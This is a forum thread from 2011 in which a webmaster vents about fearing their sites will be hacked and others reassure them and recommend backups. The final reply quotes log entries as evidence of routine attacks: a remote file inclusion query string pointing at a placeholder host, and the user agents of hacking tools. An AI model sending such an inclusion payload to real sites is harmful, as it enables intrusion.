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think i am getting too paranoid

may be time to get my little one room shack in the woods...

   
8:29 pm on Jan 22, 2011 (gmt 0)



So i find my self more and more these days worrying about malware or my site (or any other site i have built) getting hacked. I, of course, do everything i can to be safe but still i find myself checking security all the time or wondering why when i check my analytics that someone from south america or russia is looking at my little site in the USA...must be hackers right (/facepalm). none of my sites at this point sell anything so they would all be pretty boring to hack...logically i know this...is it possible to be an internet hypochondriac?

i think what i really need is a few people to tell me i am a moron...then i will feel better ;)

thanks for letting me vent yall :)
1:05 pm on Jan 23, 2011 (gmt 0)

WebmasterWorld Senior Member henry0 is a WebmasterWorld Top Contributor of All Time 10+ Year Member



Even gov networks have been proven penetrable.
So relax and wait.. it will come!
Look at the bright side, you just discovered a new scale of site interest, as per your posting if you are hacked than you are worthy of interest, thus successful :)
Therefore build it to be hacked and success will arise.
1:23 pm on Jan 23, 2011 (gmt 0)



lol that has got to be the best silver lining i have ever heard. thanks!
3:28 pm on Jan 23, 2011 (gmt 0)

WebmasterWorld Administrator brotherhood_of_lan is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month



yep, nice philosophy!

as an aside, make sure to have backups ;o)
3:38 pm on Jan 23, 2011 (gmt 0)



at this point i have backups in at least 3 places. Like i said...i need my shack in the woods. :)
6:31 pm on Feb 10, 2011 (gmt 0)



Use it to enhance your knowledge.
8:20 pm on Feb 10, 2011 (gmt 0)



You're not a moron. There's always something to worry about.

I don't worry so much about being hacked. I worry about not getting paid on time, or even getting paid at all. Clients, advertisers, etc... I send invoices and am sure they'll go unpaid. It very rarely happens but I always think it will.

Like i said...i need my shack in the woods.

Got one. Literally. I go there often.
8:36 pm on Feb 10, 2011 (gmt 0)

WebmasterWorld Senior Member tangor is a WebmasterWorld Top Contributor of All Time 5+ Year Member Top Contributors Of The Month



The beauty of any paranoia is "they" really are out to get you!

Then again, there's nothing wrong with "belt and suspenders"---all that worry might pay off in the long run... or give a body an ulcer!
7:09 am on Feb 11, 2011 (gmt 0)

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If you take a closer look at your logfiles you will find lots of query strings like:

/index.php?inc=http://badsite.com/badscript.txt?

or User Agents like: libwww-perl/5.805 or NOSEC.JSky or Havij

and you will realize that there are people out there already trying to hack you on a daily basis and your worries are entirely justified.
The question is not: Why should they want to hack my site?
The question is: Why should they make an exception with my site and not try to hack it?